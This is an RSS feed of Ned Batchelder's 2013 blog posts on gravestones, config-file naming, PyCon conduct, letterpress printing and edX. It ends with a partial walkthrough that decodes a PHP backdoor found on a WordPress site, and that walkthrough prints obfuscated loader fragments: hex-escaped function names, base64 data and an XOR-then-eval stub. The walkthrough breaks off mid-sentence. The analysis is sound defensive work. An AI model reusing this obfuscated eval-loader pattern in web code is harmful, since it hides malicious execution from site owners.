<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="http://nedbatchelder.com/rssfull2html.xslt" media="screen" ?>
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns="http://purl.org/rss/1.0/">
	<channel rdf:about="http://nedbatchelder.com//blog">
		<title>Ned Batchelder's blog</title>
		<link>http://nedbatchelder.com/blog</link>
		<description>Ned Batchelder's personal blog.</description>
		<dc:language>en-US</dc:language>
		<image rdf:resource="http://nedbatchelder.com/pix/rss-banner.gif"/>
		<items>
			<rdf:Seq>
				<rdf:li resource="http://nedbatchelder.com/blog/201305/mary_elas_transitional_gravestone.html"/><rdf:li resource="http://nedbatchelder.com/blog/201304/config_files_dot_or_not.html"/><rdf:li resource="http://nedbatchelder.com/blog/201303/community_conduct_conflict_and_communication.html"/><rdf:li resource="http://nedbatchelder.com/blog/201303/pycon_acheivements.html"/><rdf:li resource="http://nedbatchelder.com/blog/201303/loop_like_a_native.html"/><rdf:li resource="http://nedbatchelder.com/blog/201303/letterpress_workshop_at_massart.html"/><rdf:li resource="http://nedbatchelder.com/blog/201302/working_at_edx.html"/><rdf:li resource="http://nedbatchelder.com/blog/201302/adhoc_decoding_a_backdoor.html"/><rdf:li resource="http://nedbatchelder.com/blog/201302/getting_started_with_programming_terminology.html"/><rdf:li resource="http://nedbatchelder.com/blog/201302/hunting_a_random_bug.html"/>
			</rdf:Seq>
		</items>
	</channel>
	<image rdf:about="http://nedbatchelder.com/pix/rss-banner.gif">
		<title>Ned Batchelder's blog</title>
		<link>http://nedbatchelder.com/blog</link>
		<url>http://nedbatchelder.com/pix/rss-banner.gif</url>
	</image>
	
	<item rdf:about="http://nedbatchelder.com/blog/201305/mary_elas_transitional_gravestone.html">
		<title>Mary Ela&#39;s transitional gravestone</title>
		<link>http://nedbatchelder.com/blog/201305/mary_elas_transitional_gravestone.html</link>
		
		<dc:date>2013-05-18T19:42:41-04:00</dc:date>
		<dc:creator>Ned Batchelder</dc:creator>
		<description><![CDATA[<p>I was walking through <a href="https://en.wikipedia.org/wiki/Copp%27s_Hill_Burying_Ground">Copp's Hill burying ground</a>
        in Boston's North End today.  The gravestones are fascinating, partly for the concrete connection
        to a distant past, but also for their antiquated style.
    </p><p>For example, many of the stones had y<sup>e</sup> in place of "the."  
        That y isn't actually a y, it's a <a class="offsite" href="http://en.wikipedia.org/wiki/Thorn_%28letter%29">thorn</a>,
        a letter that fell out of use in English a few hundred years ago.
        Thorn is prounounced th, so y<sup>e</sup> isn't "yee", it actually is "the."
    </p><p>After noticing how older stones had y<sup>e</sup> and newer ones had "the",
        we came across Mary Ela's stone:</p><p align="center"><a href="http://nedbatchelder.com/pix/mary_ela.jpg"><img src="http://nedbatchelder.com/pix/mary_ela_thumb.jpg" alt="Gravestone of Mary Ela, died 1737" width="500" height="281"></a></p><p>It reads:</p><blockquote><div>
        <p>HERE LYES BURIED<br>
            THE BODY OF M<sup>rs</sup>.<br>
            MARY ELA WHO<br>
            DEC<sup>D</sup>. MARCH Y<sup>e</sup> 6.<br>
            1 7 3 7<sub>/8</sub><br>
            IN Y<sup>e</sup> 55. YEAR<br>
            OF HER AGE.</p></div></blockquote><p>The odd thing here is a single gravestone that has both THE and Y<sup>e</sup>.
        Why use both forms?  Why in one place but not the other?  Perhaps because the
        English sentence flowed more naturally, but the dates and age felt like a 
        conventional form?</p><p>The other transitional note is the date:  1737/8.  The 7-or-8 was not because
        her date of death was unknown.  It's because the world didn't agree on how to
        number years.</p><p>Our current calendar is the <a class="offsite" href="http://en.wikipedia.org/wiki/Gregorian_calendar">Gregorian calendar</a>,
        a work of some engineering and design.  Before 1752, years started on the vernal equinox, around
        March 21st. It wasn't until 1752 that people agreed that the number of the year should be incremented
        on January 1st.  In 1737, some people used year numbers incremented on January 1st, and some used
        years incremented in March.  Since Mary Ela died in early March, some would have called the year
        1737, but some would have called it 1738.  Putting both numbers on the gravestone makes it clear
        when she died.</p><p>By the way: the year starting in March explains why September, October, November, and December
        are named as the 7th, 8th, 9th, and 10th months:  if you count March as the first month, then
        the numbering makes perfect sense.</p><p>It's fascinating to think back to those times.  We deal now with confusing timezones and character
        sets, but at least the English alphabet and the number of the year are simple, right? Well,
        back in 1737, you couldn't even count on that.</p>
]]></description>
	</item>
	
	<item rdf:about="http://nedbatchelder.com/blog/201304/config_files_dot_or_not.html">
		<title>Config files: dot or not?</title>
		<link>http://nedbatchelder.com/blog/201304/config_files_dot_or_not.html</link>
		
		<dc:date>2013-04-25T19:31:02-04:00</dc:date>
		<dc:creator>Ned Batchelder</dc:creator>
		<description><![CDATA[<p><a href="http://nedbatchelder.com/code/coverage">Coverage.py</a> reads a configuration file,
        which by default is in .coveragerc, with a leading dot.  For years I thought 
        <a class="offsite" href="http://www.pylint.org/">Pylint</a> had no default config
        file, because it wouldn't find .pylintrc, it turns out it looks by
        default for pylintrc, no leading dot.</p><p>Which is correct?</p><p>I guess I was modeling .coveragerc on .bashrc, .vimrc, and all the other
        files that clutter home directories everywhere. But is that right?  I
        <a href="https://twitter.com/nedbat/status/300737626611273728">asked on twitter</a> 
        a few months ago:</p><blockquote><div><p>Should config files have initial dots or not? tox.ini vs .gitignore, for example. Reasons?</p></div></blockquote><p>A few people said they should have dots if they are in your home directory,
        which is clearly true.  But these config files are not meant for the home directory.</p><p><a href="https://twitter.com/laprice/status/300740793390477312">Larry Price responded</a>,</p><blockquote><div><p>essential versus incidental, .gitignore or .bashrc are incidental
            to any given task, but tox.ini or settings.py are the task
            itself.</p></div></blockquote><p>Hmm, an interesting point.  So is .coveragerc essential to coverage.py?  It's
        only for overriding defaults, so it isn't required.  But it does specify how
        coverage.py should behave.</p><p>Should it be coveragerc instead?  Or coverage.rc? Opinions?  Of course,
        .coveragerc files will still be recognized if a new default is used. I
        know this is a small point, but I'd like to follow the consensus if
        there is one.</p>
]]></description>
	</item>
	
	<item rdf:about="http://nedbatchelder.com/blog/201303/community_conduct_conflict_and_communication.html">
		<title>Community, conduct, conflict, and communication</title>
		<link>http://nedbatchelder.com/blog/201303/community_conduct_conflict_and_communication.html</link>
		
		<dc:date>2013-03-23T14:12:24-04:00</dc:date>
		<dc:creator>Ned Batchelder</dc:creator>
		<description><![CDATA[<p>The fallout from PyCon this year has been dramatic, involving Adria
        Richards, Alex Reid, SendGrid, PlayHaven, and the PyCon organizers.  I
        wasn't involved in this event at all, so I have no first-hand knowledge
        of it, but it saddens me greatly.  So many things have happened that I
        wish had not happened.</p><p>Improving community is difficult. Getting 2500 people together without
        friction is impossible. Friction and offense will happen, the question
        is, what do we do about it?  It seems to me there are two mindsets
        about how to improve a community.</p><p>The first mindset is, "Let's get rid of the assholes, and the people
        that are left will be a great community."  I'll call this the
        <strong>shunning model</strong>: identify the Bad People, get rid of
        them, and you will have only Good People left.</p><p>The second mindset is, "We're all different, and we're going to make
        mistakes, so let's be thoughtful and educate each other."  I'll call
        this the <strong>educating model</strong>: people are imperfect, but
        basically good, and if we can keep an eye on things and keep
        communicating, we can all improve.</p><p>When I look back at the aftermath of PyCon, I see a number of events
        that fit into the shunning model, and few that fit into the education
        model.  This to me seems to be the heart of the problem.</p><p>We often talk about building an inclusive community, which usually means
        that women should be as welcome as men.  I want it to also mean that
        people who make mistakes can be kept as members.  Clearly, some people
        will be difficult enough that they won't be welcome, but most people
        who offend are good people who've made a mistake, not incorrigible
        assholes. I don't want a One Strike And You're Out community.</p><p>Let me tell you about my experiences at PyCon.  I had at least three
        incidents of "community friction" during my time there:</p><ul>
        <li>Friday at lunch, I sat across the table from a friend of mine. I 
            made a joke that she found mean, and she told me so.  I felt terrible,
            and apologized to her then, and again later when I saw her next.</li>

        <li>Saturday night, I was at the rowdy event that engendered a formal
            response from PyCon: <a class="offsite" href="http://term.ie/blog/how-to-get-banned-from-pycon/">a
                member was ejected and banned</a> from PyCon.  I was more than
            just an observer: I tried to talk to the member about what he had
            said. I also helped report it to the PyCon organizers.</li>

        <li>Monday morning, I was having breakfast with a group of people, both
            friends and new acquaintances, when someone used the word
            "retarded" to refer to some suboptimal technical detail.  I don't
            like people using "retarded" as humor.  I said nothing, but winked
            across the table to a friend to say, "yup, I heard it, I wish he
            wouldn't say that, but I'm not saying anything about it."</li>

    </ul><p>In incident #1, I was the offender, and I'm really glad I was educated
        instead of shunned.</p><p>In incident #2, I was the offended.  The member in question has been
        banned.  I wasn't part of deciding the sanctions, but am glad to see in
        his blog post that he is thoughtful about what happened.</p><p>In incident #3, I was the offended, but did nothing.  If I had known the
        speaker better, I might have said, "I wish you wouldn't use that word
        that way," but it didn't seem right at the time.</p><p>Friction is inevitable.  One of the great things about PyCon is that it
        is right at the boundary between being comfortable with old friends,
        and meeting new people.  There are bound to be incidents.  We have to
        accept that, and try hard to talk to each other to improve things for
        everyone.</p><p>Education is better than shunning.</p>
]]></description>
	</item>
	
	<item rdf:about="http://nedbatchelder.com/blog/201303/pycon_acheivements.html">
		<title>PyCon acheivements</title>
		<link>http://nedbatchelder.com/blog/201303/pycon_acheivements.html</link>
		
		<dc:date>2013-03-18T12:18:09-04:00</dc:date>
		<dc:creator>Ned Batchelder</dc:creator>
		<description><![CDATA[<p>Here at PyCon, attendees get the usual ribbons dangling from their
        badges: Speaker, Sponsor, etc.  They're always a topic of conversation,
        especially if you have three or more, or are wearing any of the joke
        ones like "Workaholic" or "King".</p><p>But most attendees have no ribbons, and it occured to me we could have
        tokens for everyone.  I thought of them as merit badges, but the more
        current terminology would be acheivements.</p><p>For example:</p><ul>
        <li>I wrote a metaclass</li>
        <li>I avoided writing a metaclass!</li>
        <li>I introduced a friend to Guido</li>
        <li>I contributed to CPython</li>
        <li>I grok PyPy</li>
        <li>I taught a kid to program</li>
    </ul><p>And so on.  Could be fun.</p>
]]></description>
	</item>
	
	<item rdf:about="http://nedbatchelder.com/blog/201303/loop_like_a_native.html">
		<title>Loop Like a Native</title>
		<link>http://nedbatchelder.com/blog/201303/loop_like_a_native.html</link>
		
		<dc:date>2013-03-16T17:01:50-04:00</dc:date>
		<dc:creator>Ned Batchelder</dc:creator>
		<description><![CDATA[<p>I gave a talk yesterday at PyCon 2013 called
        <a href="http://nedbatchelder.com/text/iter.html">Loop Like a Native</a>.
        The main point was: write more generators.  Give it a look.
    </p>
]]></description>
	</item>
	
	<item rdf:about="http://nedbatchelder.com/blog/201303/letterpress_workshop_at_massart.html">
		<title>Letterpress workshop at MassArt</title>
		<link>http://nedbatchelder.com/blog/201303/letterpress_workshop_at_massart.html</link>
		
		<dc:date>2013-03-03T11:36:02-05:00</dc:date>
		<dc:creator>Ned Batchelder</dc:creator>
		<description><![CDATA[<p>I have long been interested in the technology of printing, especially
    typography.  Two years ago, when I went to the <a href="http://nedbatchelder.com/blog/201103/boston_printing_office_auction.html">Boston Printing Office auction</a>,
    I met Keith Cross, a lecturer at MassArt.  He teaches letterpress classes, usually 
    spread over the course of a semester, which I wasn't able to commit to.
    When he announced a <a class="offsite" href="http://www.milkrow.com/letterpressclasses.html">one-day Saturday workshop</a>,
    I jumped at it.  It happened yesterday, and I loved it.</p><p align="center"><a href="http://nedbatchelder.com/pix/lpworkshop/DSC_9314.jpg"><img src="http://nedbatchelder.com/pix/lpworkshop/DSC_9314_thumb.jpg" alt="Initial setup for the class" width="500" height="332"></a></p><p>The workshop is hands-on: you start off standing at a type case, and with a few
    minutes of verbal instruction, you start putting type into a job stick:</p><p align="center"><a href="http://nedbatchelder.com/pix/lpworkshop/DSC_9316.jpg"><img src="http://nedbatchelder.com/pix/lpworkshop/DSC_9316_thumb.jpg" alt="Me, setting type the old-fashioned way." width="500" height="332"></a></p><p>I was familiar with the concepts of cold metal type, job sticks, 
    <a class="offsite" href="http://en.wikipedia.org/wiki/California_Job_Case">California cases</a>,
    and so on, but had never had a chance to try it myself.
    I was really pleased to be able to work with these little pieces of
    metal, and set actual lines of type.</p><p>You don't need to know the history of type to take the class, Keith explains
    what you need to know, and walks around gently guiding people to get them over
    rough spots.</p><p>I was having fun, and so went a little overboard.  I wanted to use the fancy
    ligatures, so I included words like, "fluffy waffles," and when I saw that
    my type case had a "gg" ligature, I had to add "eggs." Then I
    discovered it had "zy" and "gy" ligatures, so I couldn't stop until I got
    "<a class="offsite" href="http://dictionary.reference.com/browse/syzygy">syzygy</a>" in
    there!</p><p align="center"><a href="http://nedbatchelder.com/pix/lpworkshop/DSC_9321.jpg"><img src="http://nedbatchelder.com/pix/lpworkshop/DSC_9321_thumb.jpg" alt="My job stick with three complete lines of type" width="500" height="332"></a></p><p>Each student produced a few lines of type, then we all headed over to the
    press to assemble them together into a page:</p><p align="center"><a href="http://nedbatchelder.com/pix/lpworkshop/DSC_9322.jpg"><img src="http://nedbatchelder.com/pix/lpworkshop/DSC_9322_thumb.jpg" alt="Putting lines of type onto the bed of the press" width="500" height="332"></a></p><p>Once we had all contributed our lines, Keith added larger blocks of iron
    and wood, known as "furniture" around it to hold it all in place, and 
    locked it in with quoins.</p><p align="center"><a href="http://nedbatchelder.com/pix/lpworkshop/DSC_9329.jpg"><img src="http://nedbatchelder.com/pix/lpworkshop/DSC_9329_thumb.jpg" alt="A full page of type, ready to print" width="465" height="700"></a></p><p>A little discussion of paper, the mechanics of the press, then Keith rolls the
    press, and there's a printed sheet!</p><p align="center"><a href="http://nedbatchelder.com/pix/lpworkshop/DSC_9331.jpg"><img src="http://nedbatchelder.com/pix/lpworkshop/DSC_9331_thumb.jpg" alt="The first sheet off the press" width="465" height="700"></a></p><p>The first sheet is called a proof, because it's used to check the typesetting.
    The next step is to read the proof, an activity known as "proofreading"!
    One of the things I find fascinating about type is how history bleeds through
    into the present in the terminology and conventions.  "Leading" makes much
    more visceral sense when you are holding a 6-pt thick bar of lead alloy, and
    place it between your rows of type.</p><p align="center"><a href="http://nedbatchelder.com/pix/lpworkshop/DSC_9332.jpg"><img src="http://nedbatchelder.com/pix/lpworkshop/DSC_9332_thumb.jpg" alt="Reading the proof" width="500" height="598"></a></p><p>Mistakes were identified, as were worn pieces of type.  The form in the press
    was unlocked, and corrections made, by pulling out bits of type with a tweezers,
    inserting new ones, adjusting spacing, and so on.  Then we each printed a
    sheet of our own.</p><p>When the printing was done, and the type had been cleaned, we each retrieved our lines
    of type, and put each tiny piece back into the proper compartment.  Thinking about
    how long it took to find the type, set the type, adjust the type, print the type, and
    then clean up and put away the type, I am amazed anew that books, newspapers,
    and even encyclopedias ever got printed.  This was very labor-intensive, dirty work.
    A few hours in a letterpress shop, and it is clearly industry.</p><p>After lunch, we each worked on a project of our own.  I chose a quote from
    E.B. White:</p><blockquote><div><p>Creation is in part merely the business of forgoing the great and small distractions.</p></div></blockquote><p>I liked it not only for what it says, but because the words "great" and "small" could
    be used for a little type expression.</p><p>Here's where the old ways really seemed difficult!  I wasn't sure what layout to
    use, and ended up changing my mind half-way through. So I had to move rows of
    metal chunks from one line to the next, and hope not to drop the whole thing.</p><p>Each line has to be completely packed tight with metal so that when the type is 
    on the press, it will all be held tightly in place.  This means that you need to
    find just the right thickness to fill the gaps, perhaps even slivers of brass to
    finish a tiny space.</p><p align="center"><a href="http://nedbatchelder.com/pix/lpworkshop/DSC_9335.jpg"><img src="http://nedbatchelder.com/pix/lpworkshop/DSC_9335_thumb.jpg" alt="My chosen quote, set in cold metal type" width="500" height="332"></a></p><p>I wanted an em-dash, but there wasn't one in my type case.  We made one with a
    36-pt piece of metal, spaced properly with yet more tiny chunks of metal.
    After dealing digitally with different kinds of spaces and dashes and leading,
    it was a new perspective to have to actually build it from pieces of metal.</p><p>To add to the complexity, the quote is set in 36-pt Centaur, but the word
    "small" is in 30-pt.  I had to make up the 6-pt difference with strips of
    metal just as long as the word "small", but some above and some below to
    get the baseline right.  I'd like to have used 24-pt for greater
    differentiation, but the next available size below 30 was 18.  Another
    analog limitation.</p><p>When it was my turn for the press, Keith set up the form and locked it in,
    and I printed off a few dozen on gold paper:</p><p align="center"><a href="http://nedbatchelder.com/pix/lpworkshop/DSC_9336.jpg"><img src="http://nedbatchelder.com/pix/lpworkshop/DSC_9336_thumb.jpg" alt="My type, in the press" width="500" height="332"></a></p><p>Even before I printed it, there were things I wished I could improve about the
    layout, but time (and ability!) were short.  The stars are there kind of as
    a distraction, but also because it's fun to use ornaments.  But they are too
    low for the line: you can see in the photo, they are cast on a 36-pt body like
    the rest of the type, but they have a much lower baseline. I'm not even sure how
    I would have adjusted for that even if I had had time.</p><p>But I'm still very pleased with the result:</p><p align="center"><a href="http://nedbatchelder.com/pix/lpworkshop/DSC_9338.jpg"><img src="http://nedbatchelder.com/pix/lpworkshop/DSC_9338_thumb.jpg" alt="The finished result" width="500" height="332"></a></p><p>Keith made the day fun, he's friendly, passionate, knowledgable, and
    helpful.  I highly recommend his
    <a class="offsite" href="http://www.milkrow.com/letterpressclasses.html">class</a>, it's a
    great way to see what letterpress is all about.  It gives you a whole new
    perspective on type, and the technology that brought us to our current tools
    and techniques.</p>
]]></description>
	</item>
	
	<item rdf:about="http://nedbatchelder.com/blog/201302/working_at_edx.html">
		<title>Working at edX</title>
		<link>http://nedbatchelder.com/blog/201302/working_at_edx.html</link>
		
		<dc:date>2013-02-28T20:37:37-05:00</dc:date>
		<dc:creator>Ned Batchelder</dc:creator>
		<description><![CDATA[<p>This week I began a new job at <a class="offsite" href="http://edx.org">edX</a>.  Well,
        it isn't really a new job, I've been freelancing with them since
        October, but now I'm an employee.</p><p align="center"><a href="http://edx.org"><img src="http://nedbatchelder.com/pix/edx.png" alt="edX logo" width="338" height="161"></a></p><p>EdX is a non-profit formed by Harvard and MIT to put their courses
        online.  Other top universities have joined, including Berkeley, Rice,
        McGill, the Delft University of Technology, and others.</p><p>Online learning is huge these days, despite being saddled with the worst
        acronym ever (MOOC, Massive Open Online Course), so there's no shortage
        of interesting questions:</p><ul>
        <li>How do you take an existing university course and put it online?</li>
        <li>What can you do differently if you are educating 100,000 people at once?</li>
        <li>What are the best tools to give professors to author courses?</li>
        <li>How can you automatically grade students' responses even for challenging
            material like programming or essays?</li>
        <li>What will online education look like in 10 years? Where and how will
            it be successful?</li>
    </ul><p>There are plenty of smart people at edX working on these questions, and
        I think we have a good chance at finding the right answers.  There's
        stiff competition from Coursera and Udacity, but edX is a bit different,
        both because it is a non-profit, and because we are chartered by our
        universities to help them change on-campus education as well as online
        education.</p><p>Almost everything is written in Python and Django, and we're aiming to
        open-source what we can.</p><p>I'm excited.   I enjoyed freelancing for a few years, now I know how
        that works, and I might go back to it someday.  But it feels good to be
        in the middle of edX, helping build something great.</p>
]]></description>
	</item>
	
	<item rdf:about="http://nedbatchelder.com/blog/201302/adhoc_decoding_a_backdoor.html">
		<title>Ad-hoc decoding a backdoor</title>
		<link>http://nedbatchelder.com/blog/201302/adhoc_decoding_a_backdoor.html</link>
		
		<dc:date>2013-02-23T11:39:17-05:00</dc:date>
		<dc:creator>Ned Batchelder</dc:creator>
		<description><![CDATA[<p>My mom's wordpress site has some malware on it, and she sent it to me
        for a professional opinion.  The mystery file was called wp-rss3.php.
        Looking at it showed that there was source code being encoded in it,
        so understanding what it did would require decoding the data. 
        I fired up a Python prompt, and started picking away.</p><p>Read the file, and take a quick look to see what structure it has:</p><blockquote class="code"><tt><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">wprss3</span>&#xA0;<span class="o">=</span>&#xA0;<span class="nb">open</span><span class="p">(</span><span class="s">&#39;wp-rss3.php&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">wprss3</span><span class="p">[:</span><span class="mi">100</span><span class="p">]</span>
<br><span class="s">&#39;&lt;?php&#xA0;$_8b7b=&quot;</span><span class="se">\\</span><span class="s">x63</span><span class="se">\\</span><span class="s">x72</span><span class="se">\\</span><span class="s">x65</span><span class="se">\\</span><span class="s">x61</span><span class="se">\\</span><span class="s">x74</span><span class="se">\\</span><span class="s">x65</span><span class="se">\\</span><span class="s">x5f</span><span class="se">\\</span><span class="s">x66</span><span class="se">\\</span><span class="s">x75</span><span class="se">\\</span><span class="s">x6e</span><span class="se">\\</span><span class="s">x63</span><span class="se">\\</span><span class="s">x74</span><span class="se">\\</span><span class="s">x69</span><span class="se">\\</span><span class="s">x6f</span><span class="se">\\</span><span class="s">x6e&quot;;$_8b7b1f=&quot;</span><span class="se">\\</span><span class="s">x62</span><span class="se">\\</span><span class="s">x61</span><span class="se">\\</span><span class="s">x73</span><span class="se">\\</span><span class="s">x&#39;</span>
<br></tt></blockquote><p>The file is one long line, so let's split it into lines:</p><blockquote class="code"><tt><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">wprss3</span>&#xA0;<span class="o">=</span>&#xA0;<span class="n">wprss3</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s">&#39;&#xA0;&#39;</span><span class="p">,</span>&#xA0;<span class="s">&#39;</span><span class="se">\n</span><span class="s">&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s">&#39;;&#39;</span><span class="p">,</span><span class="s">&#39;;</span><span class="se">\n</span><span class="s">&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">splitlines</span><span class="p">()</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="nb">len</span><span class="p">(</span><span class="n">wprss3</span><span class="p">)</span>
<br><span class="mi">6</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="p">[</span><span class="nb">len</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>&#xA0;<span class="k">for</span>&#xA0;<span class="n">l</span>&#xA0;<span class="ow">in</span>&#xA0;<span class="n">wprss3</span><span class="p">]</span>
<br><span class="p">[</span><span class="mi">5</span><span class="p">,</span>&#xA0;<span class="mi">70</span><span class="p">,</span>&#xA0;<span class="mi">64</span><span class="p">,</span>&#xA0;<span class="mi">28123</span><span class="p">,</span>&#xA0;<span class="mi">13</span><span class="p">,</span>&#xA0;<span class="mi">2</span><span class="p">]</span>
<br></tt></blockquote><p>OK, six lines, one of which has the bulk of the data. Let's look at them:</p><blockquote class="code"><tt><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">wprss3</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<br><span class="s">&#39;&lt;?php&#39;</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">wprss3</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<br><span class="s">&#39;$_8b7b=&quot;</span><span class="se">\\</span><span class="s">x63</span><span class="se">\\</span><span class="s">x72</span><span class="se">\\</span><span class="s">x65</span><span class="se">\\</span><span class="s">x61</span><span class="se">\\</span><span class="s">x74</span><span class="se">\\</span><span class="s">x65</span><span class="se">\\</span><span class="s">x5f</span><span class="se">\\</span><span class="s">x66</span><span class="se">\\</span><span class="s">x75</span><span class="se">\\</span><span class="s">x6e</span><span class="se">\\</span><span class="s">x63</span><span class="se">\\</span><span class="s">x74</span><span class="se">\\</span><span class="s">x69</span><span class="se">\\</span><span class="s">x6f</span><span class="se">\\</span><span class="s">x6e&quot;;&#39;</span>
<br></tt></blockquote><p>The line 0 is uninteresting, but line 1 defines a string using hex escapes.
    Lots of our steps here will require getting raw data from a string that is the
    bulk of what we're looking at.  Splitting on double-quotes will get us pieces,
    one of which is the one we want.  Rather than counting pieces to find the right
    one, we know the one we want will be the longest piece.  So we can use max()
    to find the longest piece:</p><blockquote class="code"><tt><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">d</span>&#xA0;<span class="o">=</span>&#xA0;<span class="nb">max</span><span class="p">(</span><span class="n">wprss3</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">&#39;&quot;&#39;</span><span class="p">),</span>&#xA0;<span class="n">key</span><span class="o">=</span><span class="nb">len</span><span class="p">)</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">d</span>
<br><span class="s">&#39;</span><span class="se">\\</span><span class="s">x63</span><span class="se">\\</span><span class="s">x72</span><span class="se">\\</span><span class="s">x65</span><span class="se">\\</span><span class="s">x61</span><span class="se">\\</span><span class="s">x74</span><span class="se">\\</span><span class="s">x65</span><span class="se">\\</span><span class="s">x5f</span><span class="se">\\</span><span class="s">x66</span><span class="se">\\</span><span class="s">x75</span><span class="se">\\</span><span class="s">x6e</span><span class="se">\\</span><span class="s">x63</span><span class="se">\\</span><span class="s">x74</span><span class="se">\\</span><span class="s">x69</span><span class="se">\\</span><span class="s">x6f</span><span class="se">\\</span><span class="s">x6e&#39;</span>
<br></tt></blockquote><p>One of Python's handy-dandy decoders is 'string_escape' which can turn a string
    with backslash-x sequences into the correct string:</p><blockquote class="code"><tt><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">d</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s">&#39;string_escape&#39;</span><span class="p">)</span>
<br><span class="s">&#39;create_function&#39;</span>
<br></tt></blockquote><p>OK, so $_8b7b is "create_function", a PHP function.  Let's see what line 2 gives us:</p><blockquote class="code"><tt><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">wprss3</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>
<br><span class="s">&#39;$_8b7b1f=&quot;</span><span class="se">\\</span><span class="s">x62</span><span class="se">\\</span><span class="s">x61</span><span class="se">\\</span><span class="s">x73</span><span class="se">\\</span><span class="s">x65</span><span class="se">\\</span><span class="s">x36</span><span class="se">\\</span><span class="s">x34</span><span class="se">\\</span><span class="s">x5f</span><span class="se">\\</span><span class="s">x64</span><span class="se">\\</span><span class="s">x65</span><span class="se">\\</span><span class="s">x63</span><span class="se">\\</span><span class="s">x6f</span><span class="se">\\</span><span class="s">x64</span><span class="se">\\</span><span class="s">x65&quot;;&#39;</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="nb">max</span><span class="p">(</span><span class="n">wprss3</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">&#39;&quot;&#39;</span><span class="p">),</span>&#xA0;<span class="n">key</span><span class="o">=</span><span class="nb">len</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s">&#39;string_escape&#39;</span><span class="p">)</span>
<br><span class="s">&#39;base64_decode&#39;</span>
<br></tt></blockquote><p>Interesting, now for the bulk of the data, line 3:</p><blockquote class="code"><tt><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">wprss3</span><span class="p">[</span><span class="mi">3</span><span class="p">][:</span><span class="mi">100</span><span class="p">]</span>
<br><span class="s">&#39;$_8b7b1f56=$_8b7b(&quot;&quot;,$_8b7b1f(&quot;JGs9MTQzOyRtPWV4cGxvZGUoIjsiLCIyMzQ7MjUzOzI1MzsyMjQ7MjUzOzIwODsyNTM7M&#39;</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">wprss3</span><span class="p">[</span><span class="mi">3</span><span class="p">][</span><span class="o">-</span><span class="mi">100</span><span class="p">:]</span>
<br><span class="s">&#39;OzI0MjsxNzU7Iik7JHo9IiI7Zm9yZWFjaCgkbSBhcyAkdilpZiAoJHYhPSIiKSR6Lj1jaHIoJHZeJGspO2V2YWwoJHopOw==&quot;));&#39;</span>
<br></tt></blockquote><p>Mentally using our definitions of $_8b7b and $_8b7b1f, this is equivalent to:</p><blockquote class="code"><tt><span class="x">$_8b7b1f56&#xA0;=&#xA0;create_function(&quot;&quot;,&#xA0;base64_decode(&quot;JGs9MTQ...Hop0w==&quot;));</span>
<br></tt></blockquote><p>BTW, I did not know that PHP would execute function names in strings as simply as $fnname(),
    but it does not surprise me.</p><p>What's in the base64 data?</p><blockquote class="code"><tt><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">d</span>&#xA0;<span class="o">=</span>&#xA0;<span class="nb">max</span><span class="p">(</span><span class="n">wprss3</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">&#39;&quot;&#39;</span><span class="p">),</span>&#xA0;<span class="n">key</span><span class="o">=</span><span class="nb">len</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s">&#39;base64&#39;</span><span class="p">)</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="nb">len</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>
<br><span class="mi">21064</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">d</span><span class="p">[:</span><span class="mi">100</span><span class="p">]</span>
<br><span class="s">&#39;$k=143;$m=explode(&quot;;&quot;,&quot;234;253;253;224;253;208;253;234;255;224;253;251;230;225;232;167;202;208;202;2&#39;</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">d</span><span class="p">[</span><span class="o">-</span><span class="mi">100</span><span class="p">:]</span>
<br><span class="s">&#39;33;175;175;175;175;242;130;133;242;175;&quot;);$z=&quot;&quot;;foreach($m&#xA0;as&#xA0;$v)if&#xA0;($v!=&quot;&quot;)$z.=chr($v^$k);eval($z);&#39;</span>
<br></tt></blockquote><p>The decoded data is 20k long, and visual inspection shows that the middle is just lots of numbers
    separated by semicolons.  The PHP code is decoding those numbers by XORing them with 143, using
    them as ASCII codepoints, and evaluating the result.  So we want to perform the same decoding
